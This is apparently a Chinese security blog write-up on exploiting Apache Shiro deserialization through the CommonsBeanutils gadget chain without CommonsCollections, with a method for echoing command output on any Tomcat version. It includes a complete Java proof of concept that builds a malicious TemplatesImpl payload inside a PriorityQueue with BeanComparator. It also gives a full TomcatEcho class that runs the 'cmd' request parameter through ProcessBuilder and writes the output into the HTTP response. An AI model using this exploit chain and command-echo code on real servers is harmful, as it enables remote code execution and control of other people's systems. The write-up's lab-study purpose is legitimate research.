0x00 前言
上篇文章:[https://www.yuque.com/tianxiadamutou/zcfd4v/bea7gi](https://www.yuque.com/tianxiadamutou/zcfd4v/bea7gi)
上一篇文中利用的是 cc11 作为 Gadget 进行注入,但是 cc 毕竟需要利用额外的依赖 CommonsCollections ,所以最理想的情况就是寻找一条 Shiro 自带的 Gadget ,至此 p 神前几天在知识星球中提出了 CommonsBeanutils 与无 CommonsCollections 的 Shiro 反序列化利用
同时在上篇文章中利用的 Tomcat 通用回显仍然存在一些缺憾,也就是在 Tomcat 7 下由于结构问题导致无法获取到上下文中的 StandardContext ,但是后面在查看 [j1anFen](https://github.com/j1anFen) 师傅的 shiro_attack 工具的源码时,发现 j1anFen 师傅在工具中利用了一条全新的链,经测试发现在 Tomcat 7 中仍然适用,所以本篇文章来学习一下这条利用链
由于漏洞环境代码贴在文中会很大的文章篇幅,所以后面漏洞环境都会放在 Github 上
Shiro漏洞环境:[https://github.com/KpLi0rn/ShiroVulnEnv](https://github.com/KpLi0rn/ShiroVulnEnv)
0x01 CommonsBeanutils
CommonsBeanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的getter方法,JavaBean 即指符合特定规范的 Java 类
- 若干
private
实例字段 - 通过
public
方法来读写实例字段
PropertyUtils.getProperty() 传入两个参数,第一个参数为 JavaBean 实例,第二个是 JavaBean 的属性
下面简单的展示一个例子,首先写一个符合规范的 Calc 类,然后编写一个 Demo 类使其自动调用 Calc 的 getter 方法,如下会自动调用 name 属性的 getter 函数,最终调用 getName()
PropertyUtils.getProperty(new Calc(),"name");
Calc:
import java.io.IOException;
public class Calc {
private String name = "Hello,World";
public String getName() throws IOException {
System.out.println("getter...");
return this.name;
}
public void setName(String name){
System.out.println("setter...");
this.name = name;
}
}
Demo:
import org.apache.commons.beanutils.PropertyUtils;
public class Demo {
public static void main(String[] args) throws Exception {
PropertyUtils.getProperty(new Calc(),"name");
}
}
效果如下:
自动调用了 Calc 的 getter 函数
0x02 CommonsBeanutils#compare
CommonsBeanutils 利用链中核心的触发位置就是 compare 函数,当调用 compare 函数时,其内部会调用我们前面说的 **getProperty** 函数,从而自动调用 JavaBean 中对应属性的 getter 函数,遇到这种情况自然可以联想到 TemplatesImpl 类,其 _outputProperties 属性的 getter 方法是加载恶意字节码的起点,所以我们这里控制下面 o1 为我们的 TemplatesImpl 对象,this.property 为我们的 outputProperties 属性,那么我们就可以通过 CommonsBeanutils#compare 来触发我们的 Templates 链了
接下来我们来看一下 getProperty 函数内部的逻辑
首先控制传入的 o1 为我们的 TemplatesImpl 对象,property 属性我们利用反射将其设置为 outputProperties 即可
跟进 getProperty 函数,发现最后来到 getNestedProperty 函数处
在 getNestedProperty 函数中,首先会经过一些判断,由于我们传入的 TemplatesImpl 对象并不符合这些判断,便会来到最后的 else 处,将 bean 和 name 作为参数传入了 getSimpleProperty 函数,跟进该函数
来到 getSimpleProperty 函数处,同样也是经过一系列判断之后将 bean 和 name 传入 getPropertyDescriptor 函数
来到 getPropertyDescriptor 函数,然后会将 bean 传入 getPropertyDescriptors 函数
在 getPropertyDescriptors 函数中,会获取我们传入实例的类,然后作为参数进入 getPropertyDescriptors 函数
在 getPropertyDescriptors 函数中,首先会从缓存中进行获取,由于我们是第一次,所以缓存中自然是没有
涉及Java内省:https://blog.csdn.net/qq_35029061/article/details/86664795
然后通过通过类Introspector来获取我们传入对象的 BeanInfo 信息,然后通过 BeanInfo 来获取属性描述对象数组 PropertyDescriptor[]
,拿到属性描述对象数组之后再循环数组,这样我们就能获取到我们想要的属性的对应的 getter 方法了
然后遍历 descriptors ,由于并不是 IndexedPropertyDescriptor 的实例,所以直接进行返回,返回之前会将其放到缓存中
重新回到 getPropertyDescriptor 函数中,将返回值赋给 descriptors
然后遍历数组中的内容,如果发现与我们输入的属性对应的属性描述器,就进行返回
然后从返回的属性描述器中获取对应的 getter 方法,也就是 getOutputProperties 方法,然后利用反射进行调用,从而触发我们的 TemplatesImpl 链
成功弹出计算器
0x03 利用链分析
我们先把 pom.xml 中的 CommonsCollections 依赖进行注释,CommonsBeanutils 1.8.3 是 Shiro 自带的
在前面我们提到通过将 TemplatesImpl 实例传入 CommonsBeanutils#compare 函数中 (this.property 可以利用反射控制),就能触发我们的 TemplatesImpl 链,从而最终弹计算器
所以我们现在只需要寻找一个类似 x.compare(a,b) 的点,其中 x 和 a 可控那么就可以了,看过 cc2 的师傅们应该会非常的熟悉,也就是 PriorityQueue ,该类的 siftDownUsingComparator 存在我们利用点,其中 comparator 和 x 都是可控的
具体分析可以看我先前写的 cc2 分析的文章,其中有详细写,文章链接:https://www.yuque.com/tianxiadamutou/zcfd4v/fw3ag3
大致流程如下:
其中 queue 和 comparator是可控的,comparator 我们直接可以在初始化的时候进行赋值
s.readObject() 的结果赋值给 queue,s是序列化后的,所以我们得去看 writeObject
在 writeObject 中,将 queue 属性进行了序列化,queue 可用反射进行修改
最终 Poc 如下:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
/**
* 利用链:
* PriorityQueue#readObject
* PriorityQueue#heapify
* PriorityQueue#siftDown
* PriorityQueue#siftDownUsingComparator
* BeanComparator#compare
* TemplatesImpl#getOutputProperties
* Runtime....
*/
public class CommonsBeanutils {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "Calc" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setField(templates,"_name","name");
setField(templates,"_bytecodes",new byte[][]{cc.toBytecode()});
setField(templates,"_tfactory",new TransformerFactoryImpl());
setField(templates, "_class", null);
BeanComparator comparator = new BeanComparator();
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2,comparator);
priorityQueue.add(1);
priorityQueue.add(2);
setField(priorityQueue,"queue",new Object[]{templates,templates});
setField(comparator,"property","outputProperties");
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser"));
outputStream.writeObject(priorityQueue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser"));
inputStream.readObject();
inputStream.close();
}
public static void setField(Object object,String field,Object args) throws Exception{
Field f0 = object.getClass().getDeclaredField(field);
f0.setAccessible(true);
f0.set(object,args);
}
}
将生成的序列化文件进行 AES 加密之后进行发送,成功触发计算器
0x04 更通用的 Tomcat 回显方案
在前一篇文章中我们的 request 是从 AbstractProtocolConnectoinHandler 是从 Thread.currentThread().getContextClassLoader() 里面一步步获取到的,但是由于 Tomcat 7 的结构不一样导致获取不到
Tomcat 9:
Tomcat 7:
所以由于结构不同导致上一篇介绍的方法在 Tomcat 7 中无法使用
所以现在我们重新来思考一下我们从 Thread.currentThread().getContextClassLoader() 中获取 StandardService 再到获取 Connector目的是什么, 其实目的就是为了获取 AbstractProtocol![](https://g.yuque.com/gr/latex?ConnectoinHandler%20%EF%BC%8C%E5%9B%A0%E4%B8%BA%20request%20%E5%AD%98%E5%9C%A8%E8%AF%A5%E5%AF%B9%E8%B1%A1%E7%9A%84%20global%20%E5%B1%9E%E6%80%A7%E4%B8%AD%E7%9A%84%20processors%20%E4%B8%AD%EF%BC%8C%E9%82%A3%E4%B9%88%E6%88%91%E4%BB%AC%E5%85%B6%E5%AE%9E%E6%8E%A5%E4%B8%8B%E6%9D%A5%E7%9B%AE%E7%9A%84%E5%B0%B1%E6%98%AF%E4%B8%BA%E4%BA%86%E6%89%BE%E5%88%B0%E4%B8%80%E4%B8%AA%E5%9C%B0%E6%96%B9%E5%AD%98%E5%82%A8%E8%BF%99%20AbstractProtocol#card=math&code=ConnectoinHandler%20%EF%BC%8C%E5%9B%A0%E4%B8%BA%20request%20%E5%AD%98%E5%9C%A8%E8%AF%A5%E5%AF%B9%E8%B1%A1%E7%9A%84%20global%20%E5%B1%9E%E6%80%A7%E4%B8%AD%E7%9A%84%20processors%20%E4%B8%AD%EF%BC%8C%E9%82%A3%E4%B9%88%E6%88%91%E4%BB%AC%E5%85%B6%E5%AE%9E%E6%8E%A5%E4%B8%8B%E6%9D%A5%E7%9B%AE%E7%9A%84%E5%B0%B1%E6%98%AF%E4%B8%BA%E4%BA%86%E6%89%BE%E5%88%B0%E4%B8%80%E4%B8%AA%E5%9C%B0%E6%96%B9%E5%AD%98%E5%82%A8%E8%BF%99%20AbstractProtocol&id=jflM8)ConnectoinHandler
发现在 org.apache.tomcat.util.net.AbstractEndpoint 的 handler 是 AbstractEndpoint![](https://g.yuque.com/gr/latex?Handler%20%E5%AE%9A%E4%B9%89%E7%9A%84%EF%BC%8C%E5%90%8C%E6%97%B6%20Handler%20%E7%9A%84%E5%AE%9E%E7%8E%B0%E7%B1%BB%E6%98%AF%20AbstractProtocol#card=math&code=Handler%20%E5%AE%9A%E4%B9%89%E7%9A%84%EF%BC%8C%E5%90%8C%E6%97%B6%20Handler%20%E7%9A%84%E5%AE%9E%E7%8E%B0%E7%B1%BB%E6%98%AF%20AbstractProtocol&id=ptoun)ConnectoinHandler
因为 AbstractEndpoint 是抽象类,且抽象类不能被实例化,需要被子类继承,所以我们去寻找其对应的子类,找到了对应的子类我们就能获取 handler 中的 AbstractProtocol$ConnectoinHandler 从而进一步获取 request 了
下面红框处是 AbstractEndpoint 的子类,那么我们需要寻找一种能被我们获取到的,最好是可以直接从线程中进行获取
这里我们来看到 NioEndpoint 类
详细请看:https://blog.csdn.net/jy02268879/article/details/108863679
这里介绍 NioEndpoint 是主要符合接受和处理 socket 的且其中实现了socket请求监听线程Acceptor、socket NIO poller线程、以及请求处理线程池
所以我们可以通过遍历线程,然后获取到 NioEndpoint$Poller ,然后通过获取其父类 NioEndpoint,进而获取到 handler->global-> processors->request
该方法在 Tomcat 7 中同样适用
这里的测试环境是 Tomcat 7 代码是 p牛 https://github.com/phith0n/JavaThings 中的 shirodemo
利用代码:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Session;
import org.apache.catalina.connector.Response;
import org.apache.coyote.Request;
import org.apache.coyote.RequestInfo;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.List;
public class TomcatEcho extends AbstractTranslet {
static {
try {
boolean flag = false;
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
for (int i=0;i<threads.length;i++){
Thread thread = threads[i];
if (thread != null){
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("http")){
Object target = getField(thread,"target");
Object global = null;
if (target instanceof Runnable){
// 需要遍历其中的 this$0/handler/global
// 需要进行异常捕获,因为存在找不到的情况
try {
global = getField(getField(getField(target,"this$0"),"handler"),"global");
} catch (NoSuchFieldException fieldException){
fieldException.printStackTrace();
}
}
// 如果成功找到了 我们的 global ,我们就从里面获取我们的 processors
if (global != null){
List processors = (List) getField(global,"processors");
for (i=0;i<processors.size();i++){
RequestInfo requestInfo = (RequestInfo) processors.get(i);
if (requestInfo != null){
Request tempRequest = (Request) getField(requestInfo,"req");
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
Response response = request.getResponse();
String cmd = null;
if (request.getParameter("cmd") != null){
cmd = request.getParameter("cmd");
}
if (cmd != null){
System.out.println(cmd);
InputStream inputStream = new ProcessBuilder(cmd).start().getInputStream();
StringBuilder sb = new StringBuilder("");
byte[] bytes = new byte[1024];
int n = 0 ;
while ((n=inputStream.read(bytes)) != -1){
sb.append(new String(bytes,0,n));
}
Writer writer = response.getWriter();
writer.write(sb.toString());
writer.flush();
inputStream.close();
System.out.println("success");
flag = true;
break;
}
if (flag){
break;
}
}
}
}
}
}
if (flag){
break;
}
}
} catch (Exception e){
e.printStackTrace();
}
}
public static Object getField(Object obj,String fieldName) throws Exception{
Field f0 = null;
Class clas = obj.getClass();
while (clas != Object.class){
try {
f0 = clas.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e){
clas = clas.getSuperclass();
}
}
if (f0 != null){
f0.setAccessible(true);
return f0.get(obj);
}else {
throw new NoSuchFieldException(fieldName);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
完整利用代码在 https://github.com/KpLi0rn/ShiroVulnEnv 项目的 /src/test/java下
0x05 总结
前前后后踩了好多坑,也从中学习到了很多,今天文中的这条不出意外的话应该是 Tomcat 的版本都可行的,最后感谢 p牛 感谢 j1anFen 感谢各位前辈